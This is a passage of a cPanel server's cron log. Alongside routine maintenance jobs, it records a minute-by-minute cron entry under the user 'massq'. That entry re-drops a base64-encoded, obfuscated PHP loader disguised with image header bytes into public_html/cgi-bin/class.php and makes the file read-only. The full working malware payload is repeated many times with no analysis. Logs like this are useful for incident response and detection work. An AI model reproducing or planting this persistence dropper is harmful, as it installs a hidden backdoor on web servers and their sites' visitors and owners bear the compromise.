--decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:41:01 server CROND[15551]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:41:01 server CROND[15552]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:42:01 server CROND[15939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:42:01 server CROND[15940]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:42:01 server CROND[15941]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:42:01 server CROND[15942]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 22:43:01 server CROND[16333]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:43:01 server CROND[16334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:43:01 server CROND[16335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:44:01 server CROND[16721]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:44:01 server CROND[16722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:44:01 server CROND[16723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:45:01 server CROND[17110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:45:01 server CROND[17111]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:45:01 server CROND[17115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:45:01 server CROND[17114]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:45:01 server CROND[17116]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:45:01 server CROND[17117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:45:01 server CROND[17118]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:46:01 server CROND[18030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:46:01 server CROND[18031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:46:01 server CROND[18032]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:47:01 server CROND[18419]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:47:01 server CROND[18421]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:47:01 server CROND[18420]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:48:01 server CROND[18816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:48:01 server CROND[18817]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:48:01 server CROND[18818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:49:01 server CROND[19197]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:49:01 server CROND[19198]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:49:01 server CROND[19199]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:50:01 server CROND[19605]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 22:50:01 server CROND[19608]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 22:50:01 server CROND[19609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:50:01 server CROND[19611]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 22:50:01 server CROND[19610]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 22:50:01 server CROND[19614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:50:01 server CROND[19613]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:50:01 server CROND[19616]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 22:50:01 server CROND[19617]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 22:51:01 server CROND[20433]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:51:01 server CROND[20434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:51:01 server CROND[20435]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:52:01 server CROND[20906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:52:01 server CROND[20907]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:52:01 server CROND[20908]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:53:01 server CROND[21284]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 22:53:01 server CROND[21285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 22:53:01 server CROND[21286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 22:54:01 server CROND[21666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
